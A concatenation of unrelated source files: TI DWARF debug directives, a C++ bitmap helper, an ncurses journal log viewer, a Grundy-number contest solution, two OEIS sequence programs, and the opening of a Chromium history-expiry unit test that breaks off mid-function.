.dwattr $C$DW$53, DW_AT_location[DW_OP_regx 0x51]
$C$DW$54 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$54, DW_AT_name("D9")
.dwattr $C$DW$54, DW_AT_location[DW_OP_regx 0x52]
$C$DW$55 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$55, DW_AT_name("D9_hi")
.dwattr $C$DW$55, DW_AT_location[DW_OP_regx 0x53]
$C$DW$56 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$56, DW_AT_name("D10")
.dwattr $C$DW$56, DW_AT_location[DW_OP_regx 0x54]
$C$DW$57 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$57, DW_AT_name("D10_hi")
.dwattr $C$DW$57, DW_AT_location[DW_OP_regx 0x55]
$C$DW$58 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$58, DW_AT_name("D11")
.dwattr $C$DW$58, DW_AT_location[DW_OP_regx 0x56]
$C$DW$59 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$59, DW_AT_name("D11_hi")
.dwattr $C$DW$59, DW_AT_location[DW_OP_regx 0x57]
$C$DW$60 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$60, DW_AT_name("D12")
.dwattr $C$DW$60, DW_AT_location[DW_OP_regx 0x58]
$C$DW$61 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$61, DW_AT_name("D12_hi")
.dwattr $C$DW$61, DW_AT_location[DW_OP_regx 0x59]
$C$DW$62 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$62, DW_AT_name("D13")
.dwattr $C$DW$62, DW_AT_location[DW_OP_regx 0x5a]
$C$DW$63 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$63, DW_AT_name("D13_hi")
.dwattr $C$DW$63, DW_AT_location[DW_OP_regx 0x5b]
$C$DW$64 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$64, DW_AT_name("D14")
.dwattr $C$DW$64, DW_AT_location[DW_OP_regx 0x5c]
$C$DW$65 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$65, DW_AT_name("D14_hi")
.dwattr $C$DW$65, DW_AT_location[DW_OP_regx 0x5d]
$C$DW$66 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$66, DW_AT_name("D15")
.dwattr $C$DW$66, DW_AT_location[DW_OP_regx 0x5e]
$C$DW$67 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$67, DW_AT_name("D15_hi")
.dwattr $C$DW$67, DW_AT_location[DW_OP_regx 0x5f]
$C$DW$68 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$68, DW_AT_name("FPEXC")
.dwattr $C$DW$68, DW_AT_location[DW_OP_reg18]
$C$DW$69 .dwtag DW_TAG_TI_assign_register
.dwattr $C$DW$69, DW_AT_name("FPSCR")
.dwattr $C$DW$69, DW_AT_location[DW_OP_reg19]
.dwendtag $C$DW$CU
|
/*
* Bitmap.cpp
*
* Created on: Sep 25, 2016
* Author: Antero Nousiainen
*/
#include "Bitmap.hpp"
#include "DirectX.hpp"
using namespace image;
namespace
{
constexpr auto inchesInMeter = 39.3700787;
constexpr std::uint32_t operator"" _dpi(unsigned long long int n)
{
return n*inchesInMeter;
}
std::uint32_t bytesInRow(std::int32_t width, std::uint16_t bits)
{
return ((bits*width + 31)/32*4);
}
std::uint32_t imageSize(std::int32_t height, std::int32_t width, std::uint16_t bits)
{
return bytesInRow(width, bits)*height;
}
Bitmap::Header::Info makeInfoHeader(std::int32_t height, std::int32_t width, std::uint16_t bits)
{
return {
sizeof(Bitmap::Header::Info), width, height, 1, bits, 0,
imageSize(height, width, bits), 72_dpi, 72_dpi, 0, 0 };
}
Bitmap::Header::File makeFileHeader(const Bitmap::Header::Info & infoHeader)
{
const std::uint32_t offset = sizeof(Bitmap::Magic) + sizeof(Bitmap::Header::File) + infoHeader.size;
return { offset + infoHeader.imageSize, 0, offset };
}
}
Bitmap::operator bool() const
{
return magic == DirectX::detail::makeMagic<Magic>({'B', 'M'});
}
Bitmap Bitmap::make(std::int32_t height, std::int32_t width, const Data & data)
{
Bitmap bmp;
bmp.magic = DirectX::detail::makeMagic<Magic>({'B', 'M'});
bmp.header.info = makeInfoHeader(height, width, Data::value_type::bits);
bmp.header.file = makeFileHeader(bmp.header.info);
bmp.data = data;
return bmp;
}
int32_t Bitmap::height() const
{
return header.info.height;
}
int32_t Bitmap::width() const
{
return header.info.width;
}
uint8_t Bitmap::padding() const
{
return header.info.padding();
}
uint8_t Bitmap::Header::Info::padding() const
{
return bytesInRow(width, bits) - width*3;
}
|
#include "check.hxx"
int main(int argc, char *argv[]) {
using std::string;
// arguments parsing
string path;
try {
using namespace TCLAP;
CmdLine cmd("Log viewer", ' ', "0.1");
UnlabeledValueArg<string> filenameArg(
"path", "The path to the cursor file", true, "", "path", cmd);
cmd.parse(argc, argv);
path = filenameArg.getValue();
} catch (TCLAP::ArgException &e) {
using std::cerr;
using std::endl;
cerr << "Failed to parse the arguments: " << e.error() << " for arg "
<< e.argId() << endl;
return 1;
}
{
using namespace LogAnomaly::Viewer;
Ncurses curses_scr;
Viewer viewer(path);
while (true) {
int ch = cscr.getChar();
bool quit = false;
switch (ch) {
case 'j':
viewer.moveCursor(0, 1);
break;
case 'k':
viewer.moveCursor(0, -1);
break;
case 'h':
viewer.moveCursor(-1);
break;
case 'l':
viewer.moveCursor(1);
break;
case 'q':
quit = true;
break;
case '0':
viewer.scrollXbeg();
break;
case ']':
viewer.switchInfo();
break;
case '[':
viewer.switchLog();
break;
default:
break;
}
if (quit)
break;
}
}
return 0;
}
namespace LogAnomaly {
namespace Viewer {
Viewer::Viewer(const string &path)
: m_file(path), m_buffer(&m_lines), m_cluster(true) {
using std::runtime_error;
if (m_file.bad())
throw runtime_error("Failed to open the file");
auto[x, y] = cscr.getMaxXY();
if (y < 2)
throw runtime_error("Too small");
m_buffer_view = NWindow(y - 1, x, 0, 0);
m_status_bar = NWindow(1, x, y - 1, 0);
m_buffer_view.scrollOK(false);
m_status_bar.scrollOK(false);
updateStatus();
fetch(y);
paint();
}
void Viewer::paint(int line) {
auto[origX, origY] = m_buffer_view.getXY();
auto[maxX, maxY] = m_buffer_view.getMaxXY();
ch_string format_str;
for (auto &ch : (*m_buffer)[line + m_beg_y])
format_str.push_back(ch);
m_buffer_view.mvAddCh(0, line, format_str);
if (format_str.size() < maxX) {
m_buffer_view.clearToEol(format_str.size(), line);
}
m_buffer_view.moveCursor(origX, origY) << flush;
}
void Viewer::moveCursor(int delta_x, int delta_y) {
auto[orig_x, orig_y] = m_buffer_view.getXY();
auto[max_x, max_y] = m_buffer_view.getMaxXY();
int dest_x = orig_x + delta_x;
int dest_y = orig_y + delta_y;
bool y_update = false;
if (dest_y >= max_y) {
y_update = scrollY(dest_y - max_y + 1);
if (!y_update) {
fetch(max_y);
y_update = scrollY(dest_y - max_y + 1);
}
dest_y = max_y - 1;
} else if (dest_y < 0) {
y_update = scrollY(dest_y);
dest_y = 0;
}
if (dest_x >= max_x) {
scrollX(dest_x - max_x + 1);
dest_x = max_x - 1;
} else if (dest_x < 0) {
scrollX(dest_x);
dest_x = 0;
}
auto line_length = (*m_buffer)[m_beg_y + dest_y].size();
if (delta_y) {
size_t index = m_indices[m_beg_y + dest_y];
if (m_beg_x) {
if (!m_cluster || index != m_log_index) {
m_beg_x = 0;
scrollX(0);
} else {
dest_x = 4;
scrollX(line_length - m_beg_x - dest_x);
}
}
m_log_index = index;
}
if (m_beg_x + dest_x >= line_length) {
dest_x = line_length - m_beg_x - 1;
}
m_buffer_view.moveCursor(dest_x, dest_y) << flush;
updateStatus();
}
void Viewer::paint() {
using std::runtime_error;
// m_buffer_view << "hi" << flush;
auto[origX, origY] = m_buffer_view.getXY();
auto[maxX, maxY] = m_buffer_view.getMaxXY();
size_t i = 0;
for (; i != maxY && i + m_beg_y != m_buffer->size(); ++i) {
// m_buffer_view.mvAdd(0, i, m_lines[i + m_beg_y], maxX);
ch_string format_str;
for (auto &ch : (*m_buffer)[i + m_beg_y])
format_str.push_back(ch);
m_buffer_view.mvAddCh(0, i, format_str);
if (format_str.size() < maxX) {
m_buffer_view.clearToEol(format_str.size(), i);
}
}
if (i != maxY) {
string &last = (*m_buffer)[i - 1];
if (last.size() > maxX) {
if (i == maxY - 1)
return;
m_buffer_view.clearToBot(0, i + 1);
} else
m_buffer_view.clearToBot(last.size(), maxY - 1);
}
m_buffer_view.moveCursor(origX, origY) << flush;
}
unsigned Viewer::fetch(unsigned log_cnt) {
using LogAnomaly::SDJournal;
using LogAnomaly::Viewer::flush;
using std::asctime;
using std::find;
using std::localtime;
using std::ostringstream;
using std::stoull;
using std::string;
typedef std::vector<string::const_iterator> IterVector;
int cnt = 0;
for (; cnt != log_cnt; ++cnt) {
string cursor;
// double prob;
if (m_file >> cursor) {
SDJournal::LogMap log_map;
// m_file >> cursor >> prob;
m_cursors.push_back(cursor);
m_journal.seekg(cursor);
// m_journal >> text;
m_journal >> log_map;
string text = log_map["MESSAGE"].substr(8);
ostringstream info;
time_t time_stamp;
if (log_map.count("_SOURCE_REALTIME_TIMESTAMP")) {
auto &real_timestamp = log_map["_SOURCE_REALTIME_TIMESTAMP"];
time_stamp =
static_cast<time_t>(stoull(real_timestamp.substr(27)) /
1e6); // 1e6 for micro second to second
} else {
auto &real_timestamp = log_map["__REALTIME_TIMESTAMP"];
time_stamp =
static_cast<time_t>(m_journal.get_realtime_usec() /
1e6); // 1e6 for micro second to second
}
char time_buffer[16];
strftime(time_buffer, 16, "%b %e %T", localtime(&time_stamp));
info << time_buffer << " ";
info << log_map["_HOSTNAME"].substr(10) << " "
<< log_map["_COMM"].substr(6) << "["
<< log_map["_PID"].substr(5) << "]: ";
{
string line = info.str();
bool first = true;
for (size_t i = 0; i != text.size();) {
auto pos = text.find('\n', i);
if (pos == string::npos) {
line.append(text.substr(i));
m_lines.push_back(line);
m_indices.push_back(m_cursors.size() - 1);
break;
} else {
line.append(text.substr(i, pos + 1));
m_lines.push_back(line);
m_indices.push_back(m_cursors.size() - 1);
i = pos + 1;
}
if (first) {
first = false;
line = string(info.str().size(), ' ');
}
}
}
} else
break;
}
return cnt;
}
void Viewer::scrollX(int n) {
auto[curr_x, curr_y] = m_buffer_view.getXY();
auto[max_x, max_y] = m_buffer_view.getMaxXY();
size_t beg = m_beg_y + curr_y;
size_t end = m_beg_y + curr_y + 1;
size_t index = m_indices[beg];
m_log_index = index;
if (m_cluster) {
while (beg != 0) {
if (m_indices[beg - 1] == index)
--beg;
else
break;
}
while (end != m_indices.size()) {
if (m_indices[end] == index)
++end;
else
break;
}
}
size_t max_length = 0;
for (size_t i = beg; i != end; ++i) {
size_t length = (*m_buffer)[i].size();
if (length > max_length)
max_length = length;
}
size_t dest_x = m_beg_x + n;
if ((n > 0 && dest_x < m_beg_x) || (n < 0 && dest_x > m_beg_x) ||
(max_length > max_x && dest_x > max_length - max_x))
return;
size_t refresh_beg = beg > m_beg_y ? beg - m_beg_y : 0;
size_t refresh_end =
end < m_beg_y + max_y ? end - m_beg_y : m_beg_y + max_y - 1;
for (size_t i = refresh_beg; i != refresh_end; ++i) {
// m_buffer_view.mvAdd(0, refresh_beg,
// m_lines[refresh_beg + m_beg_y].substr(dest_x),
// max_x);
size_t line_n = i + m_beg_y;
string &str = (*m_buffer)[line_n];
if (str.size() <= dest_x) {
m_buffer_view.clearToEol(0, line_n);
continue;
}
ch_string format_str;
for (auto iter = str.cbegin() + dest_x;
iter != str.cend() && format_str.size() < max_x; ++iter)
format_str.push_back(*iter);
// for (auto &ch : m_lines[refresh_beg + m_beg_y])
// format_str.push_back(ch);
m_buffer_view.mvAddCh(0, line_n, format_str);
if (format_str.size() < max_x)
m_buffer_view.clearToEol(format_str.size(), line_n);
}
m_beg_x = dest_x;
m_buffer_view << flush;
}
void Viewer::switchInfo() {
auto[curr_x, curr_y] = m_buffer_view.getXY();
m_pre_beg_x = m_beg_x;
m_pre_beg_y = m_beg_y;
m_pre_x = curr_x;
m_pre_y = curr_y;
m_beg_x = 0;
m_beg_y = 0;
auto &cursor = m_cursors[m_indices[m_pre_beg_y + curr_y]];
m_journal.seekg(cursor);
SDJournal::LogMap log_map;
m_journal >> log_map;
size_t field_max = 0;
for (auto &elem : log_map) {
auto length = elem.first.size();
if (length > field_max)
field_max = length;
}
for (auto &elem : log_map) {
string text = elem.second.substr(elem.first.size() + 1);
string field = elem.first;
field.resize(field_max + 2, ' ');
string line = field;
bool first = true;
for (size_t i = 0; i != text.size();) {
auto pos = text.find('\n', i);
if (pos == string::npos) {
line.append(text.substr(i));
m_log_lines.push_back(line);
break;
} else {
line.append(text.substr(i, pos + 1));
m_log_lines.push_back(line);
i = pos + 1;
}
if (first) {
first = false;
line = string(field.size(), ' ');
}
}
}
m_cluster = false;
m_buffer = &m_log_lines;
paint();
m_buffer_view.moveCursor(0, 0) << flush;
updateStatus();
}
} // namespace Viewer
} // namespace LogAnomaly
|
#pragma comment(linker, "/stack:640000000")
#include <algorithm>
#include <bitset>
#include <cassert>
#include <cctype>
#include <climits>
#include <cmath>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <fstream>
#include <iostream>
#include <iomanip>
#include <iterator>
#include <list>
#include <map>
#include <numeric>
#include <queue>
#include <set>
#include <sstream>
#include <stack>
#include <string>
#include <utility>
#include <vector>
using namespace std;
const double EPS = 1e-9;
const int INF = 0x7f7f7f7f;
const double PI=acos(-1.0);
#define READ(f) freopen(f, "r", stdin)
#define WRITE(f) freopen(f, "w", stdout)
#define MP(x, y) make_pair(x, y)
#define PB(x) push_back(x)
#define rep(i,n) for(int i = 1 ; i<=(n) ; i++)
#define repI(i,n) for(int i = 0 ; i<(n) ; i++)
#define FOR(i,L,R) for (int i = L; i <= R; i++)
#define ROF(i,L,R) for (int i = L; i >= R; i--)
#define FOREACH(i,t) for (typeof(t.begin()) i=t.begin(); i!=t.end(); i++)
#define ALL(p) p.begin(),p.end()
#define ALLR(p) p.rbegin(),p.rend()
#define SET(p) memset(p, -1, sizeof(p))
#define CLR(p) memset(p, 0, sizeof(p))
#define MEM(p, v) memset(p, v, sizeof(p))
#define getI(a) scanf("%d", &a)
#define getII(a,b) scanf("%d%d", &a, &b)
#define getIII(a,b,c) scanf("%d%d%d", &a, &b, &c)
#define getL(a) scanf("%lld",&a)
#define getLL(a,b) scanf("%lld%lld",&a,&b)
#define getLLL(a,b,c) scanf("%lld%lld%lld",&a,&b,&c)
#define getC(n) scanf("%c",&n)
#define getF(n) scanf("%lf",&n)
#define getS(n) scanf("%s",n)
#define bitCheck(N,in) ((bool)(N&(1<<(in))))
#define bitOff(N,in) (N&(~(1<<(in))))
#define bitOn(N,in) (N|(1<<(in)))
#define iseq(a,b) (fabs(a-b)<EPS)
#define vi vector < int >
#define vii vector < vector < int > >
#define pii pair< int, int >
#define ff first
#define ss second
#define ll long long
#define ull unsigned long long
template< class T > inline T _abs(T n) { return ((n) < 0 ? -(n) : (n)); }
template< class T > inline T _max(T a, T b) { return (!((a)<(b))?(a):(b)); }
template< class T > inline T _min(T a, T b) { return (((a)<(b))?(a):(b)); }
template< class T > inline T _swap(T &a, T &b) { a=a^b;b=a^b;a=a^b;}
template< class T > inline T gcd(T a, T b) { return (b) == 0 ? (a) : gcd((b), ((a) % (b))); }
template< class T > inline T lcm(T a, T b) { return ((a) / gcd((a), (b)) * (b)); }
template <typename T> string NumberToString ( T Number ) { ostringstream ss; ss << Number; return ss.str(); }
#ifdef dipta007
#define debug(args...) {cerr<<"Debug: "; dbg,args; cerr<<endl;}
#else
#define debug(args...) // Just strip off all debug tokens
#endif
struct debugger{
template<typename T> debugger& operator , (const T& v){
cerr<<v<<" ";
return *this;
}
}dbg;
int dp[1000004];
int call(int n)
{
int &ret = dp[n];
if(ret!=-1) return ret;
FOR(i,1,n-1)
{
if(n%i==0 && !call(i))
return ret=1;
}
debug("n",n)
return ret=0;
}
int call1(int n)
{
int &ret = dp[n];
if(ret!=-1) return ret;
set <int> gr;
FOR(i,1,n-1)
{
if(n%i==0)
{
gr.insert(call1(i));
}
}
int cnt=0;
while(gr.count(cnt)) cnt++;
return ret=cnt;
}
int main() {
#ifdef dipta007
READ("in.txt");
//WRITE("out.txt");
#endif // dipta007
int t;
getI(t);
SET(dp);
FOR(ci,1,t)
{
int n,m;
getII(n,m);
int win=0;
FOR(i,1,n)
{
win^=call1(m);
}
if(win) printf("1");
else printf("2");
puts("");
}
return 0;
}
|
; A007585: 10-gonal (or decagonal) pyramidal numbers: a(n) = n*(n + 1)*(8*n - 5)/6.
; 0,1,11,38,90,175,301,476,708,1005,1375,1826,2366,3003,3745,4600,5576,6681,7923,9310,10850,12551,14421,16468,18700,21125,23751,26586,29638,32915,36425,40176,44176,48433,52955,57750,62826,68191,73853,79820,86100,92701,99631,106898,114510,122475,130801,139496,148568,158025,167875,178126,188786,199863,211365,223300,235676,248501,261783,275530,289750,304451,319641,335328,351520,368225,385451,403206,421498,440335,459725,479676,500196,521293,542975,565250,588126,611611,635713,660440,685800,711801,738451,765758,793730,822375,851701,881716,912428,943845,975975,1008826,1042406,1076723,1111785,1147600,1184176,1221521,1259643,1298550,1338250,1378751,1420061,1462188,1505140,1548925,1593551,1639026,1685358,1732555,1780625,1829576,1879416,1930153,1981795,2034350,2087826,2142231,2197573,2253860,2311100,2369301,2428471,2488618,2549750,2611875,2675001,2739136,2804288,2870465,2937675,3005926,3075226,3145583,3217005,3289500,3363076,3437741,3513503,3590370,3668350,3747451,3827681,3909048,3991560,4075225,4160051,4246046,4333218,4421575,4511125,4601876,4693836,4787013,4881415,4977050,5073926,5172051,5271433,5372080,5474000,5577201,5681691,5787478,5894570,6002975,6112701,6223756,6336148,6449885,6564975,6681426,6799246,6918443,7039025,7161000,7284376,7409161,7535363,7662990,7792050,7922551,8054501,8187908,8322780,8459125,8596951,8736266,8877078,9019395,9163225,9308576,9455456,9603873,9753835,9905350,10058426,10213071,10369293,10527100,10686500,10847501,11010111,11174338,11340190,11507675,11676801,11847576,12020008,12194105,12369875,12547326,12726466,12907303,13089845,13274100,13460076,13647781,13837223,14028410,14221350,14416051,14612521,14810768,15010800,15212625,15416251,15621686,15828938,16038015,16248925,16461676,16676276,16892733,17111055,17331250,17553326,17777291,18003153,18230920,18460600,18692201,18925731,19161198,19398610,19637975,19879301,20122596,20367868,20615125
mov $2,$0
lpb $2,1
add $3,$0
add $0,5
add $1,$3
sub $2,1
lpe
|
; A116699: Number of permutations of length n which avoid the patterns 123 and 4312.
; 1,2,5,13,30,61,112,190,303,460,671,947,1300,1743,2290,2956,3757,4710,5833,7145,8666,10417,12420,14698,17275,20176,23427,27055,31088,35555,40486,45912,51865,58378,65485,73221,81622,90725,100568,111190,122631,134932,148135,162283,177420,193591,210842,229220,248773,269550,291601,314977,339730,365913,393580,422786,453587,486040,520203,556135,593896,633547,675150,718768,764465,812306,862357,914685,969358,1026445,1086016,1148142,1212895,1280348,1350575,1423651,1499652,1578655,1660738,1745980,1834461
sub $0,1
mov $1,4
sub $2,$0
sub $1,$2
bin $1,$0
bin $2,2
sub $1,$2
mov $0,$1
add $0,1
|
// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include <algorithm>
#include <string>
#include <utility>
#include "base/basictypes.h"
#include "base/compiler_specific.h"
#include "base/file_path.h"
#include "base/file_util.h"
#include "base/memory/scoped_ptr.h"
#include "base/path_service.h"
#include "base/scoped_temp_dir.h"
#include "base/string16.h"
#include "base/utf_string_conversions.h"
#include "chrome/browser/bookmarks/bookmark_model.h"
#include "chrome/browser/bookmarks/bookmark_utils.h"
#include "chrome/browser/history/archived_database.h"
#include "chrome/browser/history/expire_history_backend.h"
#include "chrome/browser/history/history_database.h"
#include "chrome/browser/history/history_notifications.h"
#include "chrome/browser/history/text_database_manager.h"
#include "chrome/browser/history/thumbnail_database.h"
#include "chrome/browser/history/top_sites.h"
#include "chrome/common/chrome_notification_types.h"
#include "chrome/common/thumbnail_score.h"
#include "chrome/test/base/testing_profile.h"
#include "chrome/tools/profiles/thumbnail-inl.h"
#include "content/test/test_browser_thread.h"
#include "testing/gtest/include/gtest/gtest.h"
#include "third_party/skia/include/core/SkBitmap.h"
#include "ui/gfx/codec/jpeg_codec.h"
using base::Time;
using base::TimeDelta;
using base::TimeTicks;
using content::BrowserThread;
// Filename constants.
static const FilePath::CharType kHistoryFile[] = FILE_PATH_LITERAL("History");
static const FilePath::CharType kArchivedHistoryFile[] =
FILE_PATH_LITERAL("Archived History");
static const FilePath::CharType kThumbnailFile[] =
FILE_PATH_LITERAL("Thumbnails");
// The test must be in the history namespace for the gtest forward declarations
// to work. It also eliminates a bunch of ugly "history::".
namespace history {
// ExpireHistoryTest -----------------------------------------------------------
class ExpireHistoryTest : public testing::Test,
public BroadcastNotificationDelegate {
public:
ExpireHistoryTest()
: bookmark_model_(NULL),
ui_thread_(BrowserThread::UI, &message_loop_),
db_thread_(BrowserThread::DB, &message_loop_),
ALLOW_THIS_IN_INITIALIZER_LIST(expirer_(this, &bookmark_model_)),
now_(Time::Now()) {
}
protected:
// Called by individual tests when they want data populated.
void AddExampleData(URLID url_ids[3], Time visit_times[4]);
// Add visits with source information.
void AddExampleSourceData(const GURL& url, URLID* id);
// Returns true if the given favicon/thumanil has an entry in the DB.
bool HasFavicon(FaviconID favicon_id);
bool HasThumbnail(URLID url_id);
FaviconID GetFavicon(const GURL& page_url, IconType icon_type);
// Returns the number of text matches for the given URL in the example data
// added by AddExampleData.
int CountTextMatchesForURL(const GURL& url);
// EXPECTs that each URL-specific history thing (basically, everything but
// favicons) is gone.
void EnsureURLInfoGone(const URLRow& row);
// Clears the list of notifications received.
void ClearLastNotifications() {
for (size_t i = 0; i < notifications_.size(); i++)
delete notifications_[i].second;
notifications_.clear();
}
void StarURL(const GURL& url) {
bookmark_model_.AddURL(
bookmark_model_.bookmark_bar_node(), 0, string16(), url);
}
static bool IsStringInFile(const FilePath& filename, const char* str);
// Returns the path the db files are created in.
const FilePath& path() const { return tmp_dir_.path(); }
// This must be destroyed last.
ScopedTempDir tmp_dir_;
BookmarkModel bookmark_model_;
MessageLoopForUI message_loop_;
content::TestBrowserThread ui_thread_;
content::TestBrowserThread db_thread_;
ExpireHistoryBackend expirer_;
scoped_ptr<HistoryDatabase> main_db_;
scoped_ptr<ArchivedDatabase> archived_db_;
scoped_ptr<ThumbnailDatabase> thumb_db_;
scoped_ptr<TextDatabaseManager> text_db_;
TestingProfile profile_;
scoped_refptr<TopSites> top_sites_;
// Time at the beginning of the test, so everybody agrees what "now" is.
const Time now_;
// Notifications intended to be broadcast, we can check these values to make
// sure that the deletor is doing the correct broadcasts. We own the details
// pointers.
typedef std::vector< std::pair<int, HistoryDetails*> >
NotificationList;
NotificationList notifications_;
private:
void SetUp() {
ASSERT_TRUE(tmp_dir_.CreateUniqueTempDir());
FilePath history_name = path().Append(kHistoryFile);
main_db_.reset(new HistoryDatabase);
if (main_db_->Init(history_name, FilePath()) != sql::INIT_OK)
main_db_.reset();
FilePath archived_name = path().Append(kArchivedHistoryFile);
archived_db_.reset(new ArchivedDatabase);
if (!archived_db_->Init(archived_name))
archived_db_.reset();
FilePath thumb_name = path().Append(kThumbnailFile);
thumb_db_.reset(new ThumbnailDatabase);
if (thumb_db_->Init(thumb_name, NULL, main_db_.get()) != sql::INIT_OK)
thumb_db_.reset();
text_db_.reset(new TextDatabaseManager(path(),
main_db_.get(), main_db_.get()));
if (!text_db_->Init(NULL))
text_db_.reset();
expirer_.SetDatabases(main_db_.get(), archived_db_.get(), thumb_db_.get(),
text_db_.get());
profile_.CreateTopSites();
profile_.BlockUntilTopSitesLoaded();
top_sites_ = profile_.GetTopSites();
}
void TearDown() {
top_sites_ = NULL;
ClearLastNotifications();
expirer_.SetDatabases(NULL, NULL, NULL, NULL);
main_db_.reset();
archived_db_.reset();
thumb_db_.reset();
text_db_.reset();
}
// BroadcastNotificationDelegate implementation.
void BroadcastNotifications(int type,
HistoryDetails* details_deleted) {
// This gets called when there are notifications to broadcast. Instead, we
// store them so we can tell that the correct notifications were sent.
notifications_.push_back(std::make_pair(type, details_deleted));
}
};
// The example data consists of 4 visits. The middle two visits are to the
// same URL, while the first and last are for unique ones. This allows a test
// for the oldest or newest to include both a URL that should get totally
// deleted (the one on the end) with one that should only get a visit deleted
// (with the one in the middle) when it picks the proper threshold time.
//
// Each visit has indexed data, each URL has thumbnail. The first two URLs will
// share the same favicon, while the last one will have a unique favicon. The
// second visit for the middle URL is typed.
//
// The IDs of the added URLs, and the times of the four added visits will be
// added to the given arrays.
void ExpireHistoryTest::AddExampleData(URLID url_ids[3], Time visit_times[4]) {
if (!main_db_.get() || !text_db_.get())
return;
// Four times for each visit.
visit_times[3] = Time::Now();
visit_times[2] = visit_times[3] - TimeDelta::FromDays(1);
visit_times[1] = visit_times[3] - TimeDelta::FromDays(2);
visit_times[0] = visit_times[3] - TimeDelta::FromDays(3);
// Two favicons. The first two URLs will share the same one, while the last
// one will have a unique favicon.
FaviconID favicon1 = thumb_db_->AddFavicon(GURL("http://favicon/url1"),
FAVICON);
FaviconID favicon2 = thumb_db_->AddFavicon(GURL("http://favicon/url2"),
FAVICON);
// Three URLs.
URLRow url_row1(GURL("http://www.google.com/1"));
url_row1.set_last_visit(visit_times[0]);
url_row1.set_visit_count(1);
url_ids[0] = main_db_->AddURL(url_row1);
thumb_db_->AddIconMapping(url_row1.url(), favicon1);
URLRow url_row2(GURL("http://www.google.com/2"));
url_row2.set_last_visit(visit_times[2]);
url_row2.set_visit_count(2);
url_row2.set_typed_count(1);
url_ids[1] = main_db_->AddURL(url_row2);
thumb_db_->AddIconMapping(url_row2.url(), favicon1);
URLRow url_row3(GURL("http://www.google.com/3"));
url_row3.set_last_visit(visit_times[3]);
url_row3.set_visit_count(1);
url_ids[2] = main_db_->AddURL(url_row3);
thumb_db_->AddIconMapping(url_row3.url(), favicon2);
// Thumbnails for each URL. |thumbnail| takes ownership of decoded SkBitmap.
gfx::Image thumbnail(
gfx::JPEGCodec::Decode(kGoogleThumbnail, sizeof(kGoogleThumbnail)));
ThumbnailScore score(0.25, true, true, Time::Now());
Time time;
GURL gurl;
top_sites_->SetPageThumbnail(url_row1.url(), &thumbnail, score);
top_sites_->SetPageThumbnail(url_row2.url(), &thumbnail, score);
top_sites_->SetPageThumbnail(url_row3.url(), &thumbnail, score);
// Four visits.
VisitRow visit_row1;
visit_row1.url_id = url_ids[0];
visit_row1.visit_time = visit_times[0];
visit_row1.is_indexed = true;
main_db_->AddVisit(&visit_row1, SOURCE_BROWSED);
VisitRow visit_row2;
visit_row2.url_id = url_ids[1];
visit_row2.visit_time = visit_times[1];
visit_row2.is_indexed = true;
main_db_->AddVisit(&visit_row2, SOURCE_BROWSED);
VisitRow visit_row3;
visit_row3.url_id = url_ids[1];
visit_row3.visit_time = visit_times[2];
visit_row3.is_indexed = true;
visit_row3.transition = content::PAGE_TRANSITION_TYPED;
main_db_->AddVisit(&visit_row3, SOURCE_BROWSED);
VisitRow visit_row4;
visit_row4.url_id = url_ids[2];
visit_row4.visit_time = visit_times[3];
visit_row4.is_indexed = true;
main_db_->AddVisit(&visit_row4, SOURCE_BROWSED);
// Full text index for each visit.
text_db_->AddPageData(url_row1.url(), visit_row1.url_id, visit_row1.visit_id,
visit_row1.visit_time, UTF8ToUTF16("title"),
UTF8ToUTF16("body"));
text_db_->AddPageData(url_row2.url(), visit_row2.url_id, visit_row2.visit_id,
visit_row2.visit_time, UTF8ToUTF16("title"),
UTF8ToUTF16("body"));
text_db_->AddPageData(url_row2.url(), visit_row3.url_id, visit_row3.visit_id,
visit_row3.visit_time, UTF8ToUTF16("title"),
UTF8ToUTF16("body"));
// Note the special text in this URL. We'll search the file for this string
// to make sure it doesn't hang around after the delete.
text_db_->AddPageData(url_row3.url(), visit_row4.url_id, visit_row4.visit_id,
visit_row4.visit_time, UTF8ToUTF16("title"),
UTF8ToUTF16("goats body"));
}
void ExpireHistoryTest::AddExampleSourceData(const GURL& url, URLID* id) {
if (!main_db_.get())
return;
Time last_visit_time = Time::Now();
// Add one URL.
URLRow url_row1(url);
url_row1.set_last_visit(last_visit_time);
url_row1.set_visit_count(4);
URLID url_id = main_db_->AddURL(url_row1);
*id = url_id;
// Four times for each visit.
VisitRow visit_row1(url_id, last_visit_time - TimeDelta::FromDays(4), 0,
content::PAGE_TRANSITION_TYPED, 0);
main_db_->AddVisit(&visit_row1, SOURCE_SYNCED);
VisitRow visit_row2(url_id, last_visit_time - TimeDelta::FromDays(3), 0,
content::PAGE_TRANSITION_TYPED, 0);
main_db_->AddVisit(&visit_row2, SOURCE_BROWSED);
VisitRow visit_row3(url_id, last_visit_time - TimeDelta::FromDays(2), 0,
content::PAGE_TRANSITION_TYPED, 0);
main_db_->AddVisit(&visit_row3, SOURCE_EXTENSION);
VisitRow visit_row4(
url_id, last_visit_time, 0, content::PAGE_TRANSITION_TYPED, 0);
main_db_->AddVisit(&visit_row4, SOURCE_FIREFOX_IMPORTED);
}
bool ExpireHistoryTest::HasFavicon(FaviconID favicon_id) {
if (!thumb_db_.get() || favicon_id == 0)
return false;
Time last_updated;
std::vector<unsigned char> icon_data_unused;
GURL icon_url;
return thumb_db_->GetFavicon(favicon_id, &last_updated, &icon_data_unused,
&icon_url, NULL);
}
FaviconID ExpireHistoryTest::GetFavicon(const GURL& page_url,
IconType icon_type) {
IconMapping icon_mapping;
thumb_db_->GetIconMappingForPageURL(page_url, icon_type, &icon_mapping);
return icon_mapping.icon_id;
}
bool ExpireHistoryTest::HasThumbnail(URLID url_id) {
